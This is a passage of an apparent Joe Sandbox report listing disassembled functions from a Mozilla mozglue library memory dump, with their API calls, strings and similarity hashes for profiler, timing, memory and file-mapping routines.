?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-memory, xrefs: 6C999088
timeline-fileio, xrefs: 6C9990A4
marker-chart, xrefs: 6C99905E
data, xrefs: 6C9990E8
timeline-ipc, xrefs: 6C999096
timeline-overview, xrefs: 6C99907A
marker-table, xrefs: 6C99906C
name, xrefs: 6C998F16
stack-chart, xrefs: 6C9990B2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

(null), xrefs: 6C97C596
0, xrefs: 6C97D30A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

inf, xrefs: 6C97C78F
NAN, xrefs: 6C97C7AD
nan, xrefs: 6C97C7A8
INF, xrefs: 6C97C794

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_CRASH(), xrefs: 6C95227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
